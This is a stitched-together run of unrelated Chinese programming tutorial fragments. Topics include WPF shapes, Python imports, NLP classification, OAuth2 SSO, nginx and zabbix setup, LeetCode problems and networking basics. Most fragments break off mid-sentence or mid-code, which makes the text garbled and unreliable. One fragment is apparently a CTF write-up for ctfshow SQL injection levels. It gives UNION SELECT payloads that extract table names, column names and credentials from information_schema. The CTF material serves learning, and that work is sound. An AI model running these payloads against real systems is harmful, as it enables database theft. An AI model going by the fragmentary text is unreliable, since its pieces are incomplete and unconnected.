Line,直线段,可以设置StrokeRectangle,有Stroke也有FillEllipse,椭圆,同上Polygon,多边形。由多条直线线段围成的闭合区域,同上。Polyline,折线,不闭合,由多条首尾相接的直线段组成Path,路径,闭合。可以由若干直线、圆弧、贝塞尔曲线(由线段与节点组成,节点是可拖动的支点,线段像可伸缩的皮筋)组成。很强大。 直线 X1和Y1可以设置起点坐标,X2和Y2可以设置终点坐标。Stroke(笔触)属性的数据类型是Brush(画刷),凡是Brush的派生类都可以给这个属性赋值。
实例 写了个用户控件。StrokeDashArray值越大虚线越疏松,Stroke是颜色,StrokeThickness是粗细,StrokeEndLineCap管的是末端的形状。
<Grid> <Line X1="10" Y1="20" X2="260" Y2="20" Stroke="Red" StrokeThickness="10"/> <Line X1="10" Y1="40" X2="260" Y2="40" Stroke="Orange" StrokeThickness="6"/> <Line X1="10" Y1="60" X2="260" Y2="60" StrokeDashArray="1" Stroke="Black" StrokeThickness="2"/> <Line X1="10" Y1="80" X2="260" Y2="80" StrokeDashArray="2" Stroke="Black" StrokeThickness="2"/> <Line X1="10" Y1="100" X2="260" Y2="100" StrokeDashArray="3" Stroke="Black" StrokeThickness="2"/> <Line X1="10" Y1="120" X2="260" Y2="120" StrokeEndLineCap="Flat" Stroke="Blue" StrokeThickness="3"/> <Line X1="10" Y1="140" X2="260" Y2="140" StrokeEndLineCap="Round" Stroke="Blue" StrokeThickness="3"/> <Line X1="10" Y1="
这篇文章主要介绍了python中import与from方法总结,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
一、模块&包简介
模块:所谓模块就是一个.py文件,用来存放变量,方法的文件,便于在其他python文件中导入(通过import或from)。
包(package): 包是更大的组织单位,用来组织区别管理多个模块文件。
import 用来导入模块
from 用于从模块中导入方法(全部或部分),也可用as 重命名导入的方法
二、import&from使用方法
1. import使用方法:
*import 模块 [as 别名模块]
*import 包.[N包].模块;
注:import 导入 最后一个必须是模块,而不能以包结尾a)导入单模块文件(import 模块 [as 别名模块])import导入单模块文件后,在import时会执行模块中的代码(从上到下)
b)导入包中的模块(import 包.[N包].模块)import导入包中的模块时,首先会执行包下的__init__.py 注:__init__.py :用来给包做一些初始化的工作。可以为空,但必须要有
c)导入 包.包.模块import导入多层包中的模块时,会执行各包下的__init__.py
d)导入 包.包 出错
2. from使用方法:
*from 包.[..包] import 模块
*from 包.模块 import 方法
*from 模块 import 方法。
注:from 包 import *时,受__init__.py中的__all__影响,没有列出来的模块是没法导入引用的。
以上所述是小编给大家介绍的python中import与from方法总结详解整合,希望对大家有所帮助
本文整理自笔者年前在知乎上的一个回答: 大数据舆情情感分析,如何提取情感并使用什么样的工具?(贴情感标签) 1、我将数据筛选预处理好,然后分好词。
2、是不是接下来应该与与情感词汇本库对照,生成结合词频和情感词库的情感关键词库。
3、将信息与情感关键词库进行比对,对信息加以情感标记。
4、我想问实现前三步,需要什么工具的什么功能呢?据说用spss和武汉大学的ROST WordParser。该如何使用呢?
https://www.zhihu.com/question/31471793/answer/542401478 情感分析说白了,就是一个文本(多)分类问题,我看一般的情感分析都是2类(正负面)或者3类(正面、中性和负面)。其实,这种粒度是远远不够的。本着“Talk is cheap, show you my code”的原则,我不扯咸淡,直接上代码给出解决方案(而且是经过真实文本数据验证了的:我用一个14个分类的例子来讲讲各类文本分类模型---从传统的机器学习文本分类模型到现今流行的基于深度学习的文本分类模型,最后给出一个超NB的模型集成,效果最优。
**************************************前方高能****************************************
在这篇文章中,笔者将讨论自然语言处理中文本分类的相关问题,将使用一个复旦大学开源的文本分类语料库,对文本分类的一般流程和常用模型进行探讨。
首先,笔者会创建一个非常基础的初始模型,然后基于此使用不同的特征进行改进。
接下来,笔者还将讨论如何使用深度神经网络来解决NLP问题,并在文章末尾以一般关于集成的一些想法结束这篇文章。
本文覆盖的NLP方法有:
TF-IDF
Count Features
Logistic Regression
Naive Bayes
SVM
Xgboost
Grid Search
Word Vectors
Dense Network
LSTM/BiLSTM
GRU
Ensembling
NOTE: 笔者并不能保证你学习了本文之后就能在NLP相关比赛中获得非常高的分数。但是,如果你正确地“吃透”它,并根据实际情况适时作出一些调整,你可以获得非常高的分数。
废话不多说,先导入一些我将要使用的重要python模块。
import pandas as pdimport numpy as npimport xgboost as xgbfrom tqdm import tqdmfrom sklearn.svm import SVCfrom keras.models import Sequentialfrom keras.layers.recurrent import LSTM, GRUfrom keras.layers.core import Dense, Activation, Dropoutfrom keras.
领域建模有很多种方法, 不同建模手段得到的模型可能也不尽相同。 那么如何保证建模的正确性呢? 首先这个质疑本身有问题,从建模的目的来说,描画问题并没有什么对错之分,仅仅只是立场和角度的差别。 如果是为了企业业务而进行建模,那么这个问题应该变为: 如何保证模型能够支撑企业的运营? 建模之前,我们需要知道企业业务系统的目的是什么,而企业业务系统的 目的往往跟决策者或者管理的 诉求 相关。 任何业务事件都会以某种数据的形式留下足迹 我们对于事件的追溯可以通过对数据的追溯来完成。 企业的业务系统主要的目的之一,就是记录这些足迹,并将这些足迹形成一条有效的追溯链。 这些足迹通常都具有一个特性,即他们都是时标性对象(事件)。 这些时标性对象就是 建模的起点。 得到骨架之后,我们需要丰富这个模型,使它可以更好的描述概念。 这时候, 我们需要补充一些实体对象,通常有三类:人、地点、物对象 在这个基础上,我们可以 进一步抽象这些实体是如何参与到各种不同的流程中去的,这时候我们就需要用到角色。 最后再把一些需要描述的信息放入 描述对象。 我们就得到了应用四色建模方法建立的一套领域模型。 简要回顾一下上面的过程,不难发现我们建模的次序和重点: 1.首先以满足 管理和运营的需要为前提,寻找需要追溯的事件。 2.根据这些需要追溯, 寻找足迹以及相应的时标性对象。 3.寻找时标性对象周围的人、事、物。 4.从中抽象角色。 5.把一些信息用描述对象补足。 参考资料: 运用四色建模法进行领域分析-InfoQ
上期文章我们分享了opencv识别图片中的人脸,OpenCV图片人脸检测,本期我们分享一下如何从视频中检测到人脸
视频人脸检测
OpenCV打开摄像头特别简单,只需要如下一句代码
capture = cv2.VideoCapture(0) # 打开摄像头
打开摄像头后,我们使用如下一句代码,来获取视频中的图片(每帧图片)
ret, frame = capture.read() # 读取
有了图片我们就可以按照图片的识别方式来检测人脸了
有了以上的2句代码,再加上上期的图片识别,就可以从视频中检测人脸了
完整代码:
import cv2
capture = cv2.VideoCapture(0) # 打开摄像头
face = cv2.CascadeClassifier(r'D:\Program Files (x86)\Anaconda3\pkgs\
libopencv-3.4.1-h875b8b8_3\Library\etc\haarcascades\
haarcascade_frontalface_alt.xml') # 导入人脸模型
cv2.namedWindow('摄像头') # 获取摄像头画面
while True:
ret, frame = capture.read() # 读取视频图片
gray = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY) # 灰度
faces = face.detectMultiScale(gray,1.1,3,0,(100,100))
for (x, y, w, h) in faces: # 5个参数,一个参数图片 ,2 坐标原点,3 识别大小,4,颜色5,线宽
cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)
我的新课《C2C 电商系统微服务架构120天实战训练营》在公众号儒猿技术窝上线了,感兴趣的同学,可以长按扫描下方二维码了解课程详情:
课程大纲请参见文末
出处:
https://kefeng.wang/2018/04/06/oauth2-sso/
1 什么是单点登录 1.1 多点登录 传统的多点登录系统中,每个站点都实现了本站专用的帐号数据库和登录模块。各站点的登录状态相互不认可,各站点需要逐一手工登录。如下图,有两个术语含义如下:
认证(authentication): 验证用户的身份;
授权(authorization): 验证用户的访问权限。
1.2 单点登录 单点登录,英文是 Single Sign On,缩写为 SSO。
多个站点(192.168.1.20X)共用一台认证授权服务器(192.168.1.110,用户数据库和认证授权模块共用)。用户经由其中任何一个站点(比如 192.168.1.201)登录后,可以免登录访问其他所有站点。而且,各站点间可以通过该登录状态直接交互。
2 OAuth2 认证授权的原理流程 2.1 生活实例【★★重点★★】 为了直观的理解 OAuth2.0 原理流程,我们假设这样一个生活场景:
(1)档案局A(客户端 / Client):以“档案局ID/密码”标识,是掌握档案资源的机构。并列还有很多档案局B/C/…,每个档案局存储的档案内容(资源 / Resource)不一样,比如政治、经济、军事、文化等;
(2)公民张三(资源所有者 / Resource Owner):以“用户名/密码”标识,需要到各个档案局查档案;
(3)派出所(授权服务器 / Authentication Server):可以是单个巨大的派出所,也可以是数据共享的派出所集群,掌管的信息、提供的对外接口功能有:
档案局信息:所有档案局的“档案局ID/密码”,证明档案局的身份;
公民信息:所有公民的“用户名/密码”,能提供张三是张三的用户身份证明(认证 / Authentication)
公民对于档案局的权限:有张公民和档案局的权限的映射表,可查得各公民对各档案局是否有操作权限(授权 / Authorization)。通常,设计中会增加官职(角色 / Role)一层,各公民属于哪个官职(角色),哪个官职(角色)对于特定档案局有操作权限。
2.1.1 张三首次访问档案局A 张三之前从未到访档案局,第一次来档案局。对照下图序号理解:
(1)张三来到“档案局A”的“档案处”,该处要求实名登记后才能查询,被指示到“用户登记处”办理(HTTP重定向);
(2)张三来到“档案局A”的“用户登记处”,既不能证明身份(认证),又不能证明自己有查档案A的权限(授权)。张三携带档案局A的标识(client-id),被重定向至“授权信开具处”;
(3)张三来到“派出所”的“授权信开具处”,出示档案局A的标识,希望开具授权信(授权)。该处要求首先证明身份(认证),被重定向至“用户身份验证处”;
(4)张三来到“派出所”的“用户身份验证处”,领取了用户身份表(网页登录表单 Form);
(5)张三填上自己的用户名和密码,交给(提交 / Submit)“用户身份验证处”,该处从私用数据库中查得用户名密码匹配,确定此人是张三,开具身份证明信,完成认证。张三带上身份证明信和档案局A的标识,被重定向至“授权信开具处”;
(6)张三再次来到“授权信开具处”,出示身份证明信和档案局A的标识,该处从私用数据库中查得,张三的官职是市长级别(角色),该官职具有档案局A的查询权限,就开具“允许张三查询档案局A”的授权信(授权码 / code),张三带上授权信被重定向至“档案局”的“用户登录处”;
(7)张三到了“档案局”的“用户登录处”,该处私下拿出档案局A的标识(client-id)和密码,再附上张三出示的授权信(code),向“派出所”的“腰牌发放处”为张三申请的“腰牌”(token),将来张三可以带着这个腰牌表明身份和权限。又被重定向到“档案处”;
(8)张三的会话(Session)已经关联上了腰牌(token),可以直接通过“档案处”查档案。
1.选择设置
2.设置python
3.显示全部(如果没有python,需要添加一个)
4.导入模块包的位置(一般在python\Lib\site-packages)
property
property([fget[, fset[, fdel[, doc]]]])
fget—获取属性值的函数------对象.属性时自动触发
fset—设置属性值的函数------对象.属性=xxx时自动触发
fdel—删除属性值的函数------del 对象.属性时自动触发
#property(获取,设置,删除) class Test(): def __init__(self): #构造函数 self.num="aaaa" def set_value(self,value): #设置 self.num=value print(self.num) def get_value(self): #获取 print(self.num) return self.num def del_value(self): #删除 del self.num print("del") #property(获取,设置,删除) value=property(get_value,set_value,del_value) #test.value将触发 get_value #test.value= value 将触发 set_value #del test.value 触发 del_value。 test=Test() test.value test.value=6 del test.value 运行结果
aaaa 6 del property装饰器
class Test(): def __init__(self): self.num = "init" # 创建一个获取函数,函数名就是属性值,@方法名 @property def value(self): return self.num # 创建一个设置函数,@方法名.
文章目录 前言新手区web171web172web173web174web175解法一解法二 web176解法一解法二 web177web 178解法一解法二 web179解法一解法二 web180-182web183web184web185web186web187web188web189web190web191web192web193web194web195web196web197-198web190-200web201(因为是第一题所以详细点)web202web203web204web205web206web207-208web209web210-212web213(暂时出了一点小问题,晚点更新)web214web215web216web217web218web219web220web221web222web223web224web225方法一:handler 方法二:预处理web226/web228-web230web227web231-232web233web234web235web236web237web238web239web240web249好文推荐 前言 看大家好像挺需要的所以在这里记录一下自己的脚本和payload,不做思路讲解,除非题目比较骚,到期末了,没啥时间总结了,大家可以去看看Yq1ng师傅的文章
新手区 可以看看我以前记录的小笔记
SQL注入之MySQL注入的学习笔记(一)
SQL注入之MySQL注入学习笔记(二)
web171 比较常规的题目不做讲解了,这里给出payload
# @Author:Y4tacker # 查数据库 payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+" # 查列名 payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+" # 查flag payload="-1'union select id,username,password from ctfshow_user --+" web172 第二题,首先从题目提示当中看出查询的数据不包含flag,并且给出了数据库是ctfshow_user2
# @Author:Y4tacker //拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 从结果看出只有两列尝试闭合括号-1' union select 1,2 --+有回显成功,返回逻辑告诉我们不能有flag字段,所以尝试编码很多啦hex等等,这里用base64吧
1. 安装环境准备 1.1 主机环境准备 1.1.1. 关闭selinux sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config setenforce 0 1.1.2. 部署规划 实例1安装规划
软件安装路径:/usr/local/nginx/
软件日志路径:/usr/local/nginx/logs/
软件二进制路径:/usr/local/nginx/sbin/
软件缓存代理等路径:/usr/local/nginx/{client_body,proxy,fastcgi,uwsgi,scgi}
软件主配置文件路径:/usr/local/nginx/conf
软件子配置文件路径:/usr/local/nginx/conf/conf.d/
Pidfile路径:/usr/local/nginx/logs/nginx.pid
Lockfile路径:/var/lock/nginx.lock
sbin-path路径:/usr/local/nginx/sbin/nginx
端口规划:80
实例2安装规划
软件安装路径:/usr/local/nginx2/
软件日志路径:/usr/local/nginx2/logs/
软件二进制路径:/usr/local/nginx2/sbin/
软件缓存代理等路径:/usr/local/nginx2/{client_body,proxy,fastcgi,uwsgi,scgi}
软件主配置文件路径:/usr/local/nginx2/conf
软件子配置文件路径:/usr/local/nginx2/conf/conf.d/
Pidfile路径:/usr/local/nginx2/logs/nginx2.pid
Lockfile路径:/var/lock/nginx2.lock
sbin-path路径:/usr/local/nginx2/sbin/nginx2
端口规划 :8080
1.1.3. 系统主机时间、时区、系统语言 l 本节视实际情况需要操作
l 修改时区 ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime l 修改系统语言环境 echo 'LANG="en_US.UTF-8"' >> /etc/profile && source /etc/profile l 配置主机NTP时间同步 yum -y install ntp systemctl enable ntpd && systemctl start ntpd echo 'server ntp1.
给你一个字符串 s ,请你根据下面的算法重新构造字符串:
从 s 中选出 最小 的字符,将它 接在 结果字符串的后面。
从 s 剩余字符中选出 最小 的字符,且该字符比上一个添加的字符大,将它 接在 结果字符串后面。
重复步骤 2 ,直到你没法从 s 中选择字符。
从 s 中选出 最大 的字符,将它 接在 结果字符串的后面。
从 s 剩余字符中选出 最大 的字符,且该字符比上一个添加的字符小,将它 接在 结果字符串后面。
重复步骤 5 ,直到你没法从 s 中选择字符。
重复步骤 1 到 6 ,直到 s 中所有字符都已经被选过。
在任何一步中,如果最小或者最大字符不止一个 ,你可以选择其中任意一个,并将其添加到结果字符串。
请你返回将 s 中字符重新排序后的 结果字符串 。
示例 1:
输入:s = "aaaabbbbcccc"
输出:"abccbaabccba"
解释:第一轮的步骤 1,2,3 后,结果字符串为 result = "abc"
第一轮的步骤 4,5,6 后,结果字符串为 result = "
一、基本概念 误差(误差期望):学习器的实际预测输出与样本真实输出之间的差异
经验误差(训练误差):学习器在训练集上的误差
泛化误差:学习器在新样本上的误差
过拟合(过配):学习器学习能力过强,将训练集中自身的特点当做所有潜在样本都会由的一般性质,这会导致泛化能力下降。 无法避免,只能缓解
欠拟合(欠配):学习器对训练样本的一般性质没有学好
二、训练流程 2.1 获取测试集 测试集应该尽量与训练集互斥
当我们只有一个包含m条记录的训练集,需要对训练集进行拆分,拆分方法如下:
留出法:
① 原理: 即将训练集划分为测试集和训练集。
② 划分原则:
训练\测试集要保持均衡(和原数据集中各部分比例尽可能一致)
按比例 一般为 37 28 19
③ 注意:
使用单次留出法估计结果不太可靠,需要我们采用若干次随机划分、重复进行实验评估后采取所有结果的均值作为最终的评估结果
④ 局限:
若划分后的训练集包含大多数数据,那么训练出来的模型更接近用原数据训练出来的模型,此时测试集中数据较少,评估结果不准确;若令划分后的测试集中包含较多的数据,那么划分后训练集训练出的模型和原数据训练出的模型差距较大,从而会降低评估结果的保真性。
此问题无好的解决办法,只能选取合适的比例。
⑤ 适用范围: 数据量足够
∙ \bullet ∙ 交叉验证法:(k折交叉验证)
① 原理:
将数据集D 划分为k个子集,每个子集通过分层采样得到(为了保持数据分布的一致性),然后用k-1个子集的并集作为训练集,余下的一个子集为测试集,这样可以重复进行k次训练和测试,最后结果为这k次实验的均值。
② 注意:
评估结果的稳定性和保真性取决与k的值
同留出法一样,需要重复进行p次划分,将这p次的实验结果的均值作为最终的结果
③ 特例:留一法
数据集D有m个样本,划分为m个子集,即为留一法。
留一法训练出来的模型与D训练出来的模型及其相似,因此留一法评估结果相对准确
缺陷:
未考虑调参情况下,留一法也难以应对海量数据带来的开销,计算复杂度高
根据“没有免费午餐”定理,留一法的结果也未必永远比其他方法准确
④ 适用范围: 数据量足够大
from sklearn.model_selection import KFold
from sklearn.model_selection import cross_val_score
from sklearn.model_selection import GridSearchCV
∙ \bullet ∙ 自助法:
文章目录 示例1:永久修改selinux示例2:看当前系统有多少连接 (establish)知识点1 SSH访问控制示例:/etc/hosts.deny 知识点2 ssh隧道知识点3 ansible服务知识点4 了解云计算知识点5 ansible不是守护进程知识点6 ansible的模块1、copy模块2、fetch模块3、command模块4、shell模块5、file模块6、cron模块7、yum模块8、service模块9、script模块 知识点7 查看系统版本知识点8 链接示例1:软链接示例2:硬链接 知识点9 playbook示例1:编写/执行 playbook示例2:yaml文件怎么去编写示例3:多个操作 博客cPen_web 示例1:永久修改selinux [root@cPen_A ~]# vim /etc/selinux/config SELINUX=disabled 示例2:看当前系统有多少连接 (establish) [root@cPen_B ~]# netstat -anplut|grep -E "ESTABLISHED|LISTEN|TIME_WAIT"|awk -F" " {'print $6'}|sort|uniq -c 2 ESTABLISHED 2 LISTEN #------------------------------------------------------------------------------- [root@cPen_B ~]# netstat -anplut Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:2233 0.0.0.0:* LISTEN 911/sshd tcp 0 232 192.
VPN:利用公网建立私有的网络 在公司的工位工作:公司的网络和生产业务网络:都是内网,并且已经通信
登录服务区的方法
ssh jumpserver(跳板机) ip
在跳板机上 ssh 用户名@ IP地址
例如:ssh chen@192.168.179.138
在家或者在马路旁边(不是公司的网络)
借用vpn -----首先验证登录—成功后——(网络会介入公司的内网)
注意:手机上面会下载客户端
在家的工作:
公司网络和生产业务网络:都是内网,并且已经通信
登录服务器的方式:
ssh jumpserver ip
在 jumpserver 上 ssh 用户@IP sudo su -
在家或者马路边(非公司网络)
借用的vpn客户端—首先验证登录,登录vpn后,你的网络(宽带或者4G接入了你的公司的内网)
服务器可以设置kvm虚拟化,之间也可以进行切换
virsh list --all #列出所有的虚拟机器
virsh start vm2 开启
virsh shutdown vm3 关闭
virsh domifaddr vm1 查看ip
你的服务器 ssh 连接不上,你要怎么做?
查看 ip 地址是否正确查看 查看 firewalld 防火墙是否开启,如果开启就关闭查看 selinux 是否开启,如果开启就关闭查看 ssh 服务是否开启查看 ssh 的端口号是否正确如果是 root 用户,查看是否限制了 root 远程登录 ,
1.阿里云与微信小程序的连接:
https://www.cnblogs.com/zhupingqi/p/13353408.html
2.阿里云上面还有一个生活物联网平台,配合阿里云的IOT studio可以进行简单的可视化展示
3.https://www.bilibili.com/video/BV1ae411W7yD?p=19
上面是b站上一个很棒的视频,《STM32+8266+小程序智能家居》视频,小程序是vue+nodejs写成,比小程序原生的工具功能更强劲。硬件部分代码开发过程很详细
4.https://helpcdn.aliyun.com/document_detail/106087.html?spm=a2c4g.11186623.6.543.2aef1d06m283BF
上面是阿里云的 IOTsudio介绍,生态非常好
5.物联网的传感数据送到阿里云以后,需要数据流转才能传达到其他的平台,否则只是可视化的呈现或者是简单的控制
https://www.cnblogs.com/yangfengwu/p/12709832.html
云产品流转
题意:找到三个正整数x、y、z
满足下面两个条件
思路:首先我们很容易处理得到前后缀的最大值,前缀最大值直接遍历过去就好,后缀最大值开个数组suf维护后缀最大值即可。对于中间那部分,因为不存在修改操作,是个静态的区间问题,预处理打个st表即可。
然后我们难点在于如何找到x+y的位置,满足等式
首先,我们要知道这么两个常识。
区间最小值会随着区间长度增大而保持不变或者减小
区间最大值会随着区间长度增大而保持不变或者增大
那么这里就有了单调性。
所以我们枚举每个位置作为x,然后通过二分得到x+y的位置。
1、如果前缀最大值ma>min(x+1,x+y) 说明区间最小值太小了,要增大他,那么就要让区间长度变小,因为左端点是不变的,所以让r=m,缩小右端点。
2、如果前缀最大值ma<min(x+1,x+y) 说明区间最小值过大,要减少他,那么就要让区间长度增大,左端点不变,所有就让l=m,扩大右端点。
3、如果满足ma=min(x+1,x+y),我们还需要比较ma和后缀最大值,即max(x+y+1,n),如果前缀最大值更大,说明后缀偏小,那么要扩大区间长度,因为右端点n不变,所以要让左端点x+y+1缩小,即让r=m,反之让l=m.
#include<bits/stdc++.h> using namespace std; const int N=5e5+50; int lg[N],st[N][20]; int suf[N],a[N]; int getMin(int l,int r){ int k=lg[r-l+1]; return min(st[l][k],st[r-(1<<k)+1][k]); } int main(){ for(int i=2;i<N;i++){ lg[i]=lg[i-1]; if(i%2==0) lg[i]=lg[i/2]+1; } int T;cin>>T; while(T--){ int n;cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; st[i][0]=a[i]; } for(int j=1;j<=18;j++){ for(int i=1;i<=n;i++){ st[i][j]=min(st[i][j-1],st[i+(1<<(j-1))][j-1]); } } suf[n]=a[n]; for(int i=n-1;i;i--) suf[i]=max(suf[i+1],a[i]); int k=0; int ma=0; for(int i=1;i<n;i++){ ma=max(ma,a[i]); int l=i,r=n; while(l+1<r){ int m=l+r>>1; int mi=getMin(i+1,m); if(ma>mi) r=m; else if(ma<mi) l=m; else { if(ma>suf[m+1]) r=m; else if(ma<suf[m+1]) l=m; else { k=m; break; } } } if(k){ cout<<"
题目 给你一个字符串 s ,请你根据下面的算法重新构造字符串:
从 s 中选出 最小 的字符,将它 接在 结果字符串的后面。从 s 剩余字符中选出 最小 的字符,且该字符比上一个添加的字符大,将它 接在 结果字符串后面。重复步骤 2 ,直到你没法从 s 中选择字符。从 s 中选出 最大 的字符,将它 接在 结果字符串的后面。从 s 剩余字符中选出 最大 的字符,且该字符比上一个添加的字符小,将它 接在 结果字符串后面。重复步骤 5 ,直到你没法从 s 中选择字符。重复步骤 1 到 6 ,直到 s 中所有字符都已经被选过。 在任何一步中,如果最小或者最大字符不止一个 ,你可以选择其中任意一个,并将其添加到结果字符串。
请你返回将 s 中字符重新排序后的 结果字符串 。
示例 1:
输入:s = "aaaabbbbcccc" 输出:"abccbaabccba" 解释:第一轮的步骤 1,2,3 后,结果字符串为 result = "abc" 第一轮的步骤 4,5,6 后,结果字符串为 result = "abccba" 第一轮结束,现在 s = "
zabbix 官网链接 https://www.zabbix.com/download?zabbix=4.0&os_distribution=centos&os_version=7&db=mysql 安装步骤 rpm -Uvh https://repo.zabbix.com/zabbix/4.0/rhel/7/x86_64/zabbix-release-4.0-2.el7.noarch.rpm yum clean all yum -y install zabbix-server-mysql zabbix-web-mysql zabbix-agent 创建数据库 第一个password为root用户密码,第二个password为zabbix设置密码 mysql -uroot -p password
mysql> create database zabbix character set utf8 collate utf8_bin;
mysql> grant all privileges on zabbix.* to zabbix@localhost identified by ‘password’;
mysql> quit;
执行完下面的命令,需要输入zabbix用户的密码 zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix password
修改配置 vim /etc/zabbix/zabbix_server.conf DBPassword=password
修改配置 vim /etc/httpd/conf.d/zabbix.conf php_value date.timezone Asia/Shanghai
启动 systemctl restart zabbix-server zabbix-agent httpd
在 EntityFramework Core 中,我们可以使用属性或Fluent API来配置模型映射。有一天,我遇到了一个新的需求,有一个系统每天会生成大量数据,每天生成一个新的表存储数据。例如,数据库如下所示:
所有表都具有相同的结构。那么,如何更改映射以避免创建多个模型呢?
在本文中,我将向您展示如何更改映射以处理这种情况。您也可以使用此方法扩展出更多的用法。
创建 .NET Core 3.1 项目 现在,我们可以使用.NET Core 3.1,它是.NET Core的LTS版本,将来可以轻松将其升级到.NET 5。
假设您已经在计算机上安装了最新的.NET Core SDK。如果没有,则可以从https://dotnet.microsoft.com/download下载。然后,您可以使用dotnet CLI创建项目。对于此示例,我将使用.NET Core 3.1。
让我们创建一个名为DynamicModelDemo的新.NET Core Console项目:
dotnet new console --name DynamicModelDemo
然后用以下命令创建一个新的解决方案:
dotnet new sln --name DynamicModelDemo
接下来使用以下命令把刚才创建的项目添加到解决方案:
dotnet sln add "DynamicModelDemo/DynamicModelDemo.csproj"
接下来可以用Visual Studio打开解决方案了。
创建模型 该模型非常简单。在项目中添加一个名为ConfigurableEntity.cs的新文件:
using System;
namespace DynamicModelDemo
{
public class ConfigurableEntity
{
public int Id { get; set; }
public string Title { get; set; }
基础按钮用法 按钮分为:默认按钮、朴素按钮(plain)、圆角按钮(round)、圆形按钮(circle)。eg:
<el-button plain>朴素按钮</el-button> 通过 type 属性指定 primary、success、info、warning、danger、text 其中的值设置按钮样式,其中若设置值为 text ,则为文字按钮,没有边框和背景颜色
1 <el-row> 2 <el-button>默认按钮</el-button> 3 <el-button type="primary">主要按钮</el-button> 4 <el-button type="success">成功按钮</el-button> 5 <el-button type="info">信息按钮</el-button> 6 <el-button type="warning">警告按钮</el-button> 7 <el-button type="danger">危险按钮</el-button> 8 </el-row> 9 10 <el-row> 11 <el-button plain>朴素按钮</el-button> 12 <el-button type="primary" plain>主要按钮</el-button> 13 <el-button type="success" plain>成功按钮</el-button> 14 <el-button type="info" plain>信息按钮</el-button> 15 <el-button type="warning" plain>警告按钮</el-button> 16 <el-button type="danger" plain>危险按钮</el-button> 17 </el-row> 18 19 <el-row> 20 <el-button round>圆角按钮</el-button> 21 <el-button type="primary" round>主要按钮</el-button> 22 <el-button type="
目录
题目描述:
我的答案:
答案解析:
题目描述: 表:Stadium
+---------------+---------+
| Column Name | Type |
+---------------+---------+
| id | int |
| visit_date | date |
| people | int |
+---------------+---------+
visit_date 是表的主键
每日人流量信息被记录在这三列信息中:序号 (id)、日期 (visit_date)、 人流量 (people)
每天只有一行记录,日期随着 id 的增加而增加
编写一个 SQL 查询以找出每行的人数大于或等于 100 且 id 连续的三行或更多行记录。
返回按 visit_date 升序排列的结果表。
查询结果格式如下所示。
Stadium table:
+------+------------+-----------+
| id | visit_date | people |
+------+------------+-----------+
| 1 | 2017-01-01 | 10 |
1、匹配一行文字中的所有开头的字母内容
import re
s="i love you not because of who you are, but because of who i am when i am with you"
importre
content=re.findall(r"\b\w",s)print(content)
2、匹配一行文字中的所有开头的数字内容
import re
s="i love you not because 12sd 34er 56df e4 54434"
importre
s="i love you not because 12sd 34er 56df e4 54434"ret=re.findall(r"\b\d+",s)print(ret)
3、匹配一行文字中的所有开头的数字内容或字母内容123sdf
s="123sdf"
importre
content=re.search("\w",s).group()print(s)
4、只匹配包含字母和数字的行
s="i love you not because\n12sd 34er 56\ndf e4 54434"
content=re.findall(r"\w+",s,re.M)
5、写一个正则表达式,使其能同时识别下面所有的字符串:'bat', 'bit', 'but', 'hat', 'hit', 'hut‘
应用层 已同步微信公众号:乐享Coding,期待你的关注!
应用层是计算机网络体系结构的最顶层,是设计和建立计算机网络的最终目的,也是计算机网络中发展最快的部分。
首先对应用层要有个大概了解,思维导图是个不错的工具,废话不说,上图!
网络应用模型 网络应用程序运行在处于网络边缘的不同的端系统上,在各种端系统上的组织方式和他们之间的关系。目前流行的有两种:
客户/服务器(C/S)方式 应用 :万维网www,电子邮件,文件传输FTP等。
服务器:提供计算服务的设备 永久提供服务固定的IP地址,端口号(http 80)永久性访问地址域名 客户端:请求服务的主机 与服务器通信,使用服务器提供的服务间歇性接入网络可能使用动态IP 对等(peer-to-peer,P2P)方式 在P2P方式中,没有固定的服务请求和服务提供者,分布在两端的应用进程是对等的,称为对等方,对等方相互之间直接通信。
应用:P2P文件共享,即时通信,P2P流媒体
DNS域名系统 由于IP地址难以记住,因此采用域名的方式方便记忆,因特网采用层次树状结构的域名结构,分为顶级域名TLD,二级级域名,三级域名,(四级域名)
如 www.baidu.com 从右到左为顶级域名,二级域名,三级域名,中间以点 . 隔开!
根域的 DNS 服务器信息保存在互联网中所有的 DNS 服务器中。这样⼀来,任何 DNS 服务器就都可以找到并访问根域 DNS 服务器了。
因此,客户端只要能够找到任意⼀台 DNS 服务器,就可以通过它找到根域 DNS 服务器,然后再⼀路顺藤摸瓜找到位于下层的某台⽬标 DNS 服务器。
DNS域名解析 主机向本地域名服务器的查询一般都是采用递归查询。 递归查询简单来说是指路加带路,问一个人路,他不知道会亲自找上一级,上一级不知道会亲自找上上一级,直到返回结果。
本地域名服务器向根域名服务器的查询的迭代查询。 迭代查询简单来讲只指路不带路,问一个人路,问一个人路,他不知道会通知你找他的上一级,上一级不知道会通知你找他的上上一级,直到返回结果。
Email电子邮件 电子邮件是因特网上最早流行的一种应用,系统采用C/S方式,主要由三部分构成:
用户代理:用户与电子邮件的接口,电子邮件客户端的软件!
邮件服务器:因特网上所有的ISP都是邮件服务器,其功能是发送和接收邮件,同时负责维护用户的邮箱。
邮件传输协议:邮件传输所遵循的协议如SMTP.
图解电子邮件的整个过程:
SMTP的局限性:只能传输ASCII码文本数据。图片视频音频这些超文本和中文日文等都不能传输。因此提出了MIME.
图解如下:
邮件读取协议:
POP3(110) :只允许用户下载并保留和下载并删除邮件,并不能在线管理邮件。(如分类邮件,创建文件夹)
IMAP4(143):用户可以操控邮件服务器的邮箱,实现了在邮件服务器管理邮件。
目前,一般常用的是基于web的电子邮件
图解如下:
WWW万维网 万维网是一个大规模的、联机式的信息储藏所,是运行在因特网上的分布式应用。万维网利用网页之间的超链接将不同网站的网页链接成一张逻辑的信息网。
